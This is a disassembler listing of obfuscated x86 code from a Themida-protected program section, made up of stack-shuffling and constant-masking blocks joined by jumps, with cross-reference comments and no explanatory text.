--------------------------------------------------------------------------- loc_54E607: ; CODE XREF: Themida_:0054CF1Fj push ebp jmp loc_54D4BD ; --------------------------------------------------------------------------- loc_54E60D: ; CODE XREF: Themida_:0054D1D8j mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 add ebp, 4 jmp loc_54D759 ; --------------------------------------------------------------------------- loc_54E625: ; CODE XREF: Themida_:0054BA3Bj mov [esp], edx push esi mov esi, 0BBD61FAh xor esi, 790B7ECBh jmp loc_548D67 ; --------------------------------------------------------------------------- loc_54E639: ; CODE XREF: Themida_:00548AB5j xor ebp, [esp] mov esp, [esp] mov ax, [esp] push esi push esp mov esi, [esp] jmp loc_54B499 ; --------------------------------------------------------------------------- loc_54E64D: ; CODE XREF: Themida_:0054F6EEj mov [esp], edi mov edi, 29381003h jmp loc_5479D3 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_54A384 ; --------------------------------------------------------------------------- push small 0EB2h mov [esp], sp sub esp, 4 mov [esp], edx jmp loc_5458DC ; --------------------------------------------------------------------------- loc_54E67E: ; CODE XREF: Themida_:0054B8C9j mov edx, 294903E3h mov ebx, 23F733E1h add ebx, edx mov edx, [esp] add esp, 4 mov edi, 0EB5C0EA4h add edi, ebx pop ebx shl edi, 7 and edi, 62F04CCBh push edx mov edx, 27EE4A96h jmp loc_549832 ; --------------------------------------------------------------------------- loc_54E6AC: ; CODE XREF: Themida_:0054E778j push ecx mov ecx, 540A635Bh add ecx, 6217330Eh add ecx, 6344A59Ch jmp loc_545B0B ; --------------------------------------------------------------------------- loc_54E6C3: ; CODE XREF: Themida_:00544C21j pop ebx pop edx push ecx push ebx pop ecx pop ebx push ecx push dword ptr [esp+4] push dword ptr [esp] jmp loc_549D8A ; --------------------------------------------------------------------------- loc_54E6D6: ; CODE XREF: Themida_:00545C0Bj push edi jmp loc_5452EE ; --------------------------------------------------------------------------- loc_54E6DC: ; CODE XREF: Themida_:00548F8Cj mov ecx, 89597ABFh mov eax, ecx pop ecx sub ebp, eax pop eax sub [edi+24h], ebp pop ebp loc_54E6EB: ; CODE XREF: Themida_:0054E99Dj push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push dword ptr [esp] pop eax push 11EEh mov [esp], edx jmp loc_54DC8D ; --------------------------------------------------------------------------- loc_54E712: ; CODE XREF: Themida_:0054FBDCj sub esi, 4 jmp loc_54FF21 ; --------------------------------------------------------------------------- loc_54E71A: ; CODE XREF: Themida_:00546AFBj push 42A4h jmp loc_54EBB9 ; --------------------------------------------------------------------------- loc_54E724: ; CODE XREF: Themida_:00546313j inc edx shr edx, 5 xor edx, 0BD29002h jmp loc_54AF8B ; --------------------------------------------------------------------------- loc_54E733: ; CODE XREF: Themida_:00547308j push edx mov dh, 65h add al, dh pop edx sub al, bl push cx push edx mov dl, 65h mov ch, dl jmp loc_54D434 ; --------------------------------------------------------------------------- mov cx, [esp] push 650Ch jmp loc_54AA94 ; --------------------------------------------------------------------------- lodsb xor al, bl push ecx mov ecx, esp push edx jmp loc_54DA59 ; --------------------------------------------------------------------------- loc_54E761: ; CODE XREF: Themida_:005442DAj add dword ptr [esp], 4 pop ebx push ecx mov ecx, 29AF2370h and ecx, 39FA415Ah sub ecx, 29AA014Ch jmp loc_54E6AC ; --------------------------------------------------------------------------- loc_54E77D: ; CODE XREF: Themida_:0054C977j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_549633 ; --------------------------------------------------------------------------- loc_54E7B5: ; CODE XREF: Themida_:005489E3j mov esp, [esp] mov dx, [esp] push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 jmp loc_54571B ; --------------------------------------------------------------------------- loc_54E7D6: ; CODE XREF: Themida_:00549337j sub ecx, ebp pop ebp sub esp, 4 mov [esp], edi mov edi, ecx push ecx mov ecx, 30h add ecx, edx push eax mov eax, edi push ebx jmp loc_54EAAC ; --------------------------------------------------------------------------- loc_54E7F2: ; CODE XREF: Themida_:00545208j mov esi, 5AF115A7h sub esi, 592B3410h dec esi sub esi, 8CC21DAh inc esi jmp loc_54A4BE ; --------------------------------------------------------------------------- loc_54E80A: ; CODE XREF: Themida_:0054487Ej mov [esp], bp push small word ptr [esp+2] mov bp, [esp] push eax jmp loc_5485FE ; --------------------------------------------------------------------------- loc_54E81D: ; CODE XREF: Themida_:0054A1D4j pop esp mov [esp], edx push edi mov edi, esp jmp loc_54541F ; --------------------------------------------------------------------------- loc_54E829: ; CODE XREF: Themida_:0054E21Cj add eax, 7F3F41DCh jmp loc_5461A1 ; --------------------------------------------------------------------------- loc_54E833: ; CODE XREF: Themida_:0054A300j pop esp shr ecx, 6 push eax mov eax, esp push 7BCAh mov [esp], edx push ebx push 319B1A42h pop ebx mov edx, 0DEEFF442h sub edx, 327808B6h add edx, ebx add edx, 327808B6h jmp loc_546003 ; --------------------------------------------------------------------------- loc_54E861: ; CODE XREF: Themida_:00547C35j push edi push ebx mov ebx, 3B5550E3h add ebx, 22F97772h push esi mov esi, 28B66AF2h dec esi neg esi and esi, 616112D8h add esi, 0CD744DD2h or ebx, esi pop esi shl ebx, 2 shr ebx, 6 sub ebx, 0A122BACh push ebp mov ebp, 0AE869E9h xor ebp, 898836ECh add ebx, ebp jmp loc_54CC5A ; --------------------------------------------------------------------------- loc_54E8A5: ; CODE XREF: Themida_:005496AEj pop dword ptr [esp] pop esp mov edx, [esp] push ecx push esp jmp loc_546612 ; --------------------------------------------------------------------------- loc_54E8B3: ; CODE XREF: Themida_:00545D73j mov si, 3B62h not si jmp loc_54F041 ; --------------------------------------------------------------------------- loc_54E8BF: ; CODE XREF: Themida_:0054483Fj mov [esp], esp push edx mov edx, 4 add [esp+4], edx jmp loc_54F73F ; --------------------------------------------------------------------------- loc_54E8D1: ; CODE XREF: Themida_:0054C276j xchg ebx, [esp] jmp loc_548FE5 ; --------------------------------------------------------------------------- loc_54E8D9: ; CODE XREF: Themida_:0054D3F9j sub esi, 11113DD3h push edi mov edi, 239B270Fh inc edi xchg ebp, edi inc ebp xchg ebp, edi and edi, 589806B6h xor edi, 76421D14h or esi, edi pop edi dec esi xor esi, 1F4376ABh mov ecx, esi pop esi push 7648h mov [esp], esi push 13D66223h pop esi or esi, 346C32EDh shl esi, 2 push edx mov edx, 2B0D239Ah shl edx, 8 not edx xor edx, 10965E68h dec edx add edx, 9BF24675h jmp loc_54DBD7 ; --------------------------------------------------------------------------- loc_54E938: ; CODE XREF: Themida_:005464F0j push ebx mov ebx, esp push edx mov edx, 1AE332Ch jmp loc_54B2F7 ; --------------------------------------------------------------------------- loc_54E946: ; CODE XREF: Themida_:0054B480j add esp, 4 jmp loc_5448E3 ; --------------------------------------------------------------------------- loc_54E951: ; CODE XREF: Themida_:0054F538j mov edx, 5A612724h dec edx not edx and edx, 6C0707FFh add edx, 1FB36698h jmp loc_54D63D ; --------------------------------------------------------------------------- loc_54E96A: ; CODE XREF: Themida_:0054FB31j add dword ptr [esp+4], 14BA506Ah jmp loc_548945 ; --------------------------------------------------------------------------- loc_54E977: ; CODE XREF: Themida_:00546493j push ecx mov ecx, 1CB270F3h jmp loc_547F6D ; --------------------------------------------------------------------------- loc_54E982: ; CODE XREF: Themida_:00547717j mov ecx, 4 add [esp+4], ecx jmp loc_54CDE7 ; --------------------------------------------------------------------------- loc_54E990: ; CODE XREF: Themida_:00544ED1j pop edi add ebp, 4 xchg ebp, [esp] pop esp or eax, eax jz loc_54E6EB push dword ptr [edi+1Ch] mov ecx, [esp] push edx push esp pop edx push 2C54h mov [esp], ebx push edi jmp loc_54A1D9 ; --------------------------------------------------------------------------- mov ax, [esp] push 22F3h mov [esp], esi push esp pop esi push ecx mov ecx, 4 push ecx jmp loc_547505 ; --------------------------------------------------------------------------- loc_54E9D4: ; CODE XREF: Themida_:0054DAB2j mov [esp], ax sub esp, 4 mov [esp], edx mov dh, 0ECh add dh, 6Eh push ecx mov cl, dh jmp loc_54B229 ; --------------------------------------------------------------------------- loc_54E9EB: ; CODE XREF: Themida_:0054CF82j xor edi, 183DAE6Bh mov esi, edi pop edi or esi, 77725C77h push edx mov edx, 7F777C7Bh sub esi, edx pop edx jmp loc_544516 ; --------------------------------------------------------------------------- loc_54EA08: ; CODE XREF: Themida_:00546820j add esp, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_544EAC ; --------------------------------------------------------------------------- loc_54EA19: ; CODE XREF: Themida_:00544D55j push edx mov edx, 4 add ebp, edx pop edx jmp loc_54ED6D ; --------------------------------------------------------------------------- loc_54EA27: ; CODE XREF: Themida_:005449B8j mov ebp, 197629D1h inc ebp jmp loc_54D806 ; --------------------------------------------------------------------------- loc_54EA32: ; CODE XREF: Themida_:0054573Ej mov esp, [esp] jmp loc_54FD3E ; --------------------------------------------------------------------------- loc_54EA3A: ; CODE XREF: Themida_:0054A25Cj push ecx push edx mov edx, 76E260E5h and edx, 15810020h shr edx, 7 shr edx, 2 or edx, 0A4C3C87h inc edx sub edx, 0EF204524h mov ecx, edx pop edx add [esp+4], ecx mov ecx, [esp] add esp, 4 push ecx mov ecx, 27D11F65h add [esp+4], ecx pop ecx add dword ptr [esp], 4C540C33h add [esp], eax sub dword ptr [esp], 4C540C33h sub dword ptr [esp], 27D11F65h push eax push ebx mov ebx, 1B2E3764h push 7F5h mov [esp], ebx jmp loc_54B56F ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_5452DB ; --------------------------------------------------------------------------- loc_54EAAC: ; CODE XREF: Themida_:0054E7EDj mov ebx, 0 add ebx, ecx jmp loc_54A5D9 ; =============== S U B R O U T I N E ======================================= sub_54EAB8 proc near ; CODE XREF: sub_565CDA-1D898j ; FUNCTION CHUNK AT 00549F31 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0054C3A3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0054F2A9 SIZE 00000008 BYTES push ebx push eax mov al, 62h push ecx jmp loc_549F31 sub_54EAB8 endp ; --------------------------------------------------------------------------- loc_54EAC2: ; CODE XREF: Themida_:005448AFj or ebp, eax pop eax jmp loc_546531 ; --------------------------------------------------------------------------- loc_54EACA: ; CODE XREF: Themida_:0054F7C4j mov ebp, esi pop esi pop ecx jmp loc_549B97 ; --------------------------------------------------------------------------- loc_54EAD3: ; CODE XREF: Themida_:0054440Fj push edi mov edi, 55D32FABh dec edi add edi, 71811418h add edi, 38ABBC40h mov ebp, edi pop edi add esi, ebp jmp loc_5448B4 ; --------------------------------------------------------------------------- loc_54EAF0: ; CODE XREF: Themida_:0054CBABj add al, 6Bh jmp loc_545360 ; --------------------------------------------------------------------------- loc_54EAF7: ; CODE XREF: Themida_:00544C96j push ecx push esp pop ecx jmp loc_54F810 ; --------------------------------------------------------------------------- loc_54EAFF: ; CODE XREF: Themida_:0054D89Aj pop edx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_54A1B4 ; --------------------------------------------------------------------------- loc_54EB0E: ; CODE XREF: Themida_:0054FCF6j mov [esp], eax jmp loc_548CDA ; --------------------------------------------------------------------------- loc_54EB16: ; CODE XREF: Themida_:00549643j and ecx, 265935C8h shl ecx, 5 and ecx, 72E3BD1h sub ecx, 9D33EA12h sub esi, ecx pop ecx add esi, ecx add esi, 64CE36EEh pop ecx push 3733h mov [esp], ebp mov ebp, 2 jmp loc_54B23D ; --------------------------------------------------------------------------- loc_54EB49: ; CODE XREF: Themida_:00549D07j pop esp add eax, ebx pop ebx jmp loc_54A2F8 ; --------------------------------------------------------------------------- loc_54EB52: ; CODE XREF: Themida_:00548A4Dj mov ebp, esp jmp loc_545ECA ; --------------------------------------------------------------------------- loc_54EB59: ; CODE XREF: Themida_:00547942j add esp, 4 sub edi, 0A0A1E68h push eax mov eax, 2B385413h jmp loc_54919C ; --------------------------------------------------------------------------- loc_54EB6D: ; CODE XREF: Themida_:00547927j push esp pop edi add edi, 4 add edi, 2 sub esp, 4 jmp loc_54543F ; --------------------------------------------------------------------------- lodsb xor al, bl push edx push ebx mov bh, 8Ch push eax jmp loc_54CC42 ; --------------------------------------------------------------------------- loc_54EB90: ; CODE XREF: Themida_:0054C9D7j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54EB95: ; CODE XREF: Themida_:00547104j add edx, 4 sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], edi mov edi, 2 mov ebx, edi jmp loc_5475FD ; --------------------------------------------------------------------------- loc_54EBB9: ; CODE XREF: Themida_:0054E71Fj mov [esp], esi push 16FC26FFh mov esi, [esp] add esp, 4 sub esi, 0F5CCDC00h mov eax, esi pop esi jmp loc_54BA08 ; --------------------------------------------------------------------------- loc_54EBD8: ; CODE XREF: Themida_:005499F9j push esp push dword ptr [esp] pop ebx add esp, 4 push ebp mov ebp, 4 add ebx, ebp jmp loc_54C06B ; --------------------------------------------------------------------------- loc_54EBF0: ; CODE XREF: Themida_:00545055j sub bp, 101h and bp, 5449h and bp, 6FA6h add bp, 251Bh sub esp, 4 jmp loc_548B8B ; --------------------------------------------------------------------------- loc_54EC0F: ; CODE XREF: Themida_:0054A697j push edx mov dl, 0EFh sub al, dl mov edx, [esp] add esp, 4 add al, 80h sub al, bl push ecx mov cl, 80h sub al, 5Fh sub al, cl add al, 5Fh pop ecx push small 3DBDh jmp loc_54A34D ; --------------------------------------------------------------------------- loc_54EC34: ; CODE XREF: Themida_:0054C457j push dword ptr [esp+4] jmp loc_5480A4 ; --------------------------------------------------------------------------- loc_54EC3D: ; CODE XREF: Themida_:0054A5FBj add ebx, 4 xchg ebx, [esp] mov esp, [esp] push ebp push esi mov esi, 278B734Ch or esi, 67825B92h push edi mov edi, 231031F7h sub esi, edi pop edi push eax push esi mov esi, 3F905F16h shl esi, 3 shr esi, 1 sub esi, 9FF0721h mov eax, esi pop esi shl eax, 3 jmp loc_547499 ; --------------------------------------------------------------------------- loc_54EC7C: ; CODE XREF: Themida_:0054778Aj push esp push dword ptr [esp] jmp loc_546CCE ; --------------------------------------------------------------------------- mov cx, [esp] push eax jmp loc_5456D8 ; --------------------------------------------------------------------------- loc_54EC8F: ; CODE XREF: Themida_:0054ED2Fj xor ecx, [esp] pop esp mov [esp], edi push edx mov edx, 533D6C4Dh jmp loc_54BEFE ; --------------------------------------------------------------------------- loc_54ECA1: ; CODE XREF: Themida_:0054CC26j pop eax xchg edx, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx push esp jmp loc_54FA24 ; --------------------------------------------------------------------------- loc_54ECBD: ; CODE XREF: Themida_:00549B6Bj shr edx, 1 cmp eax, edx jz loc_547A49 mov dword ptr [edi+20h], 38090F14h shr dword ptr [edi+20h], 1 shl dword ptr [edi+20h], 4 shl dword ptr [edi+20h], 6 sub esp, 4 mov [esp], ebx jmp loc_546BA8 ; --------------------------------------------------------------------------- loc_54ECE4: ; CODE XREF: Themida_:00546B8Ej pop ebp add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54FAC6 ; --------------------------------------------------------------------------- loc_54ECF4: ; CODE XREF: Themida_:0054FDCAj shl edi, 5 xchg ebp, edi push ebp not dword ptr [esp] pop ebp xchg ebp, edi or edi, 28945347h sub edi, 0FAF7D3DBh add ecx, edi jmp loc_5454E8 ; --------------------------------------------------------------------------- loc_54ED13: ; CODE XREF: Themida_:0054E54Bj add edi, eax pop eax push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp add [esp], eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54ED29: ; CODE XREF: Themida_:005476FBj xor ecx, [esp] xor [esp], ecx jmp loc_54EC8F ; --------------------------------------------------------------------------- loc_54ED34: ; CODE XREF: Themida_:0054A375j mov [esp], esp push edi mov edi, 4 push esi mov esi, 5BBF30F5h sub [esp+8], esi pop esi sub dword ptr [esp+4], 66DD24EEh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, 436E2128h jmp loc_54FB1C ; --------------------------------------------------------------------------- loc_54ED6D: ; CODE XREF: Themida_:0054EA22j add ebp, 4 jmp loc_54D522 ; --------------------------------------------------------------------------- loc_54ED75: ; CODE XREF: Themida_:0054482Ej xor [esp], edi xor edi, [esp] pop esp mov ax, [esp] push 73DAh mov [esp], ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], ebx jmp loc_5484D9 ; --------------------------------------------------------------------------- loc_54ED9B: ; CODE XREF: Themida_:0054BB99j and ebx, eax pop eax push edx mov edx, 0FFFFFFFFh sub ebx, edx pop edx xor ebx, 2C200865h add eax, ebx pop ebx jmp loc_54A860 ; --------------------------------------------------------------------------- loc_54EDB5: ; CODE XREF: Themida_:00544618j sub eax, edi pop edi xor eax, [esp] xor [esp], eax jmp loc_5444E2 ; --------------------------------------------------------------------------- loc_54EDC3: ; CODE XREF: Themida_:00547A79j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54EDC8: ; CODE XREF: Themida_:00547277j mov edi, 277D139Dh push 4A09h mov [esp], edi add dword ptr [esp], 8E656DDh pop ebp sub ebp, 8E656DDh jmp loc_544756 ; --------------------------------------------------------------------------- loc_54EDE8: ; CODE XREF: Themida_:00545CBCj push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5445D5 ; --------------------------------------------------------------------------- loc_54EDF9: ; CODE XREF: Themida_:0054FF1Cj mov edi, 346461C9h inc edi not edi jmp loc_54FE8B ; --------------------------------------------------------------------------- loc_54EE06: ; CODE XREF: Themida_:005466E1j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ecx mov ecx, 30D9279Dh inc ecx jmp loc_54BEE4 ; --------------------------------------------------------------------------- loc_54EE25: ; CODE XREF: Themida_:0054E3ABj add cl, bl pop ebx sub al, 50h jmp loc_547EB0 ; --------------------------------------------------------------------------- loc_54EE2F: ; CODE XREF: Themida_:0054E4A3j mov edx, [esp] add esp, 4 push edi sub esp, 4 mov [esp], ebx mov ebx, 4A64651Fh inc ebx add ebx, 0FFFFFFFFh add ebx, 0F36BABE3h mov edi, ebx pop ebx jmp loc_546965 ; --------------------------------------------------------------------------- loc_54EE56: ; CODE XREF: Themida_:00544EA7j add esp, 4 push ebp jmp loc_545D41 ; --------------------------------------------------------------------------- loc_54EE62: ; CODE XREF: Themida_:0054C8F2j pop edi add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_547D6A ; --------------------------------------------------------------------------- loc_54EE71: ; CODE XREF: Themida_:00544B33j mov ebx, 4 add eax, ebx mov ebx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] loc_54EE8A: ; CODE XREF: Themida_:loc_54B14Cj push 2592h mov [esp], eax push edi jmp loc_544B38 ; --------------------------------------------------------------------------- loc_54EE98: ; CODE XREF: Themida_:005488BBj sub ecx, 2E00402Ah and esi, ecx jmp loc_54EFF0 ; --------------------------------------------------------------------------- loc_54EEA5: ; CODE XREF: Themida_:00545ADDj inc esi dec esi add esi, 52484C5Fh jmp loc_54D3C2 ; --------------------------------------------------------------------------- loc_54EEB2: ; CODE XREF: Themida_:0054D24Cj mov [esp], ecx jmp loc_546AA0 ; --------------------------------------------------------------------------- loc_54EEBA: ; CODE XREF: Themida_:005496C7j push 47F8h jmp loc_54E5D0 ; --------------------------------------------------------------------------- loc_54EEC4: ; CODE XREF: Themida_:005464C6j mov [esp], esi jmp loc_54BE6D ; --------------------------------------------------------------------------- loc_54EECC: ; CODE XREF: Themida_:0054C553j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54EED1: ; CODE XREF: Themida_:0054D441j push edx jmp loc_548063 ; --------------------------------------------------------------------------- loc_54EED7: ; CODE XREF: Themida_:0054D31Ej pop esi push 1266h jmp loc_544DA2 ; --------------------------------------------------------------------------- loc_54EEE2: ; CODE XREF: Themida_:005468E4j xor [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54EEEC: ; CODE XREF: Themida_:0054F8FDj push dword ptr [esp+4] pop ebp jmp loc_54C1CB ; --------------------------------------------------------------------------- loc_54EEF6: ; CODE XREF: Themida_:0054833Dj mov [edi+38h], bh mov ebx, [esp] add esp, 4 push dword ptr [esp] mov edx, [esp] add esp, 4 push ecx mov ecx, esp jmp loc_54C770 ; --------------------------------------------------------------------------- loc_54EF13: ; CODE XREF: Themida_:00548398j push eax push edi mov edi, 4BE71331h sub edi, 0FFFFFFFFh add edi, 35FD2D30h push edx mov edx, 2D9A7EE5h or edi, edx pop edx dec edi sub edi, 7ED13809h xor edi, 0C2A13F7h mov eax, edi jmp loc_544BBB ; --------------------------------------------------------------------------- loc_54EF40: ; CODE XREF: Themida_:005473C7j mov al, 0BAh add al, 25h sub al, 0F1h sub bl, 89h add bl, al add bl, 89h mov ax, [esp] push edx mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] jmp loc_5493B1 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp jmp loc_545BBA ; --------------------------------------------------------------------------- loc_54EF73: ; CODE XREF: Themida_:0054B86Ej pop ecx jmp loc_54C8C5 ; --------------------------------------------------------------------------- loc_54EF79: ; CODE XREF: Themida_:005448C6j mov edx, 55F53DEFh add edx, 5254485Eh push ebp mov ebp, 484365A5h jmp loc_546AA6 ; --------------------------------------------------------------------------- loc_54EF8F: ; CODE XREF: Themida_:00549783j not edx xchg edx, ebx xchg ebx, esi push ecx jmp loc_54C112 ; --------------------------------------------------------------------------- loc_54EF9B: ; CODE XREF: Themida_:00546F6Ej dec ah xor ah, 11h and bl, ah jmp loc_549C92 ; --------------------------------------------------------------------------- loc_54EFA7: ; CODE XREF: Themida_:0054A729j pop edx jmp loc_549056 ; --------------------------------------------------------------------------- loc_54EFAD: ; CODE XREF: Themida_:005475A3j pop ecx add esp, 4 push edx mov edx, esp jmp loc_544188 ; --------------------------------------------------------------------------- loc_54EFB9: ; CODE XREF: Themida_:0054F16Ej push ecx mov ecx, 320B0C4Fh sub ecx, 3BD9DE73h xor ebp, ecx pop ecx sub eax, ebp pop ebp jmp loc_544022 ; --------------------------------------------------------------------------- loc_54EFD0: ; CODE XREF: Themida_:00545B18j push edi mov edi, 30865D68h push ecx push edx mov edx, 1DC755C2h or edx, 6225295Bh not edx xor edx, 976BADACh jmp loc_54AF9E ; --------------------------------------------------------------------------- loc_54EFF0: ; CODE XREF: Themida_:0054EEA0j pop ecx jmp loc_54A598 ; --------------------------------------------------------------------------- loc_54EFF6: ; CODE XREF: Themida_:00545471j mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_54D1C3 ; --------------------------------------------------------------------------- loc_54F00E: ; CODE XREF: Themida_:005462E0j add eax, 0F971E98h add eax, ecx jmp loc_546059 ; --------------------------------------------------------------------------- loc_54F01A: ; CODE XREF: Themida_:00547DECj mov bl, 65h add bl, 47h add dl, bl pop ebx xor ch, dl pop edx sub ch, 2Fh sub al, ch mov ecx, [esp] add esp, 4 push ebx push edx jmp loc_548D74 ; --------------------------------------------------------------------------- loc_54F03A: ; CODE XREF: Themida_:0054FB54j push edx push esi jmp loc_547730 ; --------------------------------------------------------------------------- loc_54F041: ; CODE XREF: Themida_:0054E8BAj neg si jmp loc_54FAAF ; --------------------------------------------------------------------------- loc_54F049: ; CODE XREF: Themida_:0054CEB2j xor eax, 61907306h add eax, 553815E1h shr eax, 6 xor eax, 2E10FB65h jmp loc_548F29 ; --------------------------------------------------------------------------- loc_54F060: ; CODE XREF: Themida_:0054F8D2j shl dword ptr [edx+38h], 1 xchg ebp, [edx+38h] inc ebp xchg ebp, [edx+38h] shl dword ptr [edx+38h], 7 add dword ptr [edx+38h], 0C376C4E1h and dword ptr [edx+38h], 383B49A4h dec dword ptr [edx+38h] push eax push edx mov edx, 4C07538Bh mov eax, 4C0753C3h add eax, 13A56621h sub eax, edx push ebp mov ebp, 4D047597h or ebp, 4FEE3FB6h xor ebp, 21D962F1h sub ebp, 5A91B725h jmp loc_54E439 ; --------------------------------------------------------------------------- loc_54F0AF: ; CODE XREF: Themida_:0054C33Aj mov [esp], ebp push ecx mov ecx, 6D717622h inc ecx sub ecx, 1 shr ecx, 6 xor ecx, 0AB7CCEEh push ecx pop ebp mov ecx, [esp] add esp, 4 mov ecx, 3B353C98h add ecx, 0A4A3976h not ecx push edx mov edx, 601C73CEh add ecx, edx pop edx jmp loc_5457F3 ; --------------------------------------------------------------------------- loc_54F0EE: ; CODE XREF: Themida_:005464BCj push edx mov edx, 586944D1h jmp loc_54B0EB ; --------------------------------------------------------------------------- loc_54F0F9: ; CODE XREF: Themida_:0054DEAAj pop edx jmp loc_549989 ; --------------------------------------------------------------------------- loc_54F0FF: ; CODE XREF: Themida_:005490B4j push 207Dh jmp loc_54FD61 ; --------------------------------------------------------------------------- loc_54F109: ; CODE XREF: Themida_:0054500Bj push 0CFh mov [esp], eax mov ah, 45h or ch, ah mov eax, [esp] add esp, 4 or ch, 0C1h jmp loc_54FDBF ; --------------------------------------------------------------------------- loc_54F123: ; CODE XREF: Themida_:00544AD5j push ebp mov ebp, esp add ebp, 4 jmp loc_54DF74 ; --------------------------------------------------------------------------- loc_54F131: ; CODE XREF: Themida_:0054E513j mov edx, [esp] jmp loc_54B435 ; --------------------------------------------------------------------------- loc_54F139: ; CODE XREF: Themida_:00547245j pop esi add edi, 4 xchg edi, [esp] mov esp, [esp] push edi push dword ptr [esp] push dword ptr [esp] pop edx push 71D4h mov [esp], ebx jmp loc_5469D3 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_54A6FD ; --------------------------------------------------------------------------- loc_54F161: ; CODE XREF: Themida_:00544511j xor esi, 779076DAh jmp loc_549A3E ; --------------------------------------------------------------------------- loc_54F16C: ; CODE XREF: Themida_:00544AE3j not ebp jmp loc_54EFB9 ; --------------------------------------------------------------------------- loc_54F173: ; CODE XREF: Themida_:005468A7j sub dword ptr [esp], 3AB462CBh sub [esp], edi add dword ptr [esp], 3AB462CBh pop edi sub edi, 197D4036h jmp loc_54AFA5 ; --------------------------------------------------------------------------- loc_54F190: ; CODE XREF: Themida_:0054656Fj xor ebx, ecx xor ecx, ebx jmp loc_54BEEC ; --------------------------------------------------------------------------- loc_54F199: ; CODE XREF: Themida_:00548FB8j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54F19E: ; CODE XREF: Themida_:0054DA20j mov eax, 49711CEDh dec eax jmp loc_544CB1 ; --------------------------------------------------------------------------- loc_54F1A9: ; CODE XREF: Themida_:0054AB97j push eax mov eax, esp jmp loc_54DDFC ; --------------------------------------------------------------------------- loc_54F1B1: ; CODE XREF: Themida_:0054D5FEj pop edi add ebx, ebp sub ebx, 1DA71E18h mov ebp, [esp] add esp, 4 add ebx, eax sub ebx, 7475756Ch push ecx jmp loc_548E78 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push esi mov esi, esp add esi, 4 push ecx jmp loc_544D42 ; --------------------------------------------------------------------------- loc_54F1F9: ; CODE XREF: Themida_:0054F330j push small 763h mov [esp], cx mov ch, bh not ch push eax mov al, ch mov bh, al pop eax jmp loc_547109 ; --------------------------------------------------------------------------- loc_54F210: ; CODE XREF: Themida_:005497ADj mov esi, ebp jmp loc_54C590 ; --------------------------------------------------------------------------- loc_54F217: ; CODE XREF: Themida_:0054A593j shl eax, 5 or eax, 19BD4393h add eax, 0E642A411h mov ebp, eax pop eax sub esi, 4DAC7A14h sub esi, 2B1B64A4h add esi, ebp add esi, 2B1B64A4h add esi, 4DAC7A14h pop ebp jmp loc_548EBF ; --------------------------------------------------------------------------- loc_54F247: ; CODE XREF: Themida_:0054DB5Fj sub [esp+4], bp pop bp add [esp+2], cx jmp loc_548311 ; --------------------------------------------------------------------------- loc_54F258: ; CODE XREF: Themida_:00546BE3j sub esp, 4 jmp loc_549386 ; --------------------------------------------------------------------------- loc_54F260: ; CODE XREF: Themida_:00544247j push dx push ecx mov cl, 45h jmp loc_550086 ; --------------------------------------------------------------------------- loc_54F26A: ; CODE XREF: Themida_:0054A749j mov eax, [esp] jmp loc_544A5B ; --------------------------------------------------------------------------- loc_54F272: ; CODE XREF: Themida_:00544B5Aj mov [esp], esi push 20000h mov esi, [esp] push edx push esp pop edx add edx, 4 jmp loc_548EAA ; --------------------------------------------------------------------------- loc_54F28B: ; CODE XREF: Themida_:0054B109j mov bh, 38h or dl, bh pop bx or dl, 96h jmp loc_54FC87 ; --------------------------------------------------------------------------- loc_54F299: ; CODE XREF: Themida_:0054CCF6j xor ecx, esi pop esi and esi, ecx mov ecx, [esp] add esp, 4 jmp loc_54DC3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54EAB8 loc_54F2A9: ; CODE XREF: sub_54EAB8-2712j shl dl, 7 jmp sub_545BCC ; END OF FUNCTION CHUNK FOR sub_54EAB8 ; --------------------------------------------------------------------------- loc_54F2B1: ; CODE XREF: Themida_:00545716j xor cl, 0AAh sub al, cl pop ecx push dword ptr [esp] pop edx jmp loc_54CEA8 ; --------------------------------------------------------------------------- loc_54F2C0: ; CODE XREF: Themida_:0054B7B4j push ecx mov cl, 7Ah and cl, 94h inc cl and cl, 88h xor cl, 8 add ah, 4 add ah, cl sub ah, 4 pop ecx sub bl, ah pop eax push ebp jmp loc_544987 ; 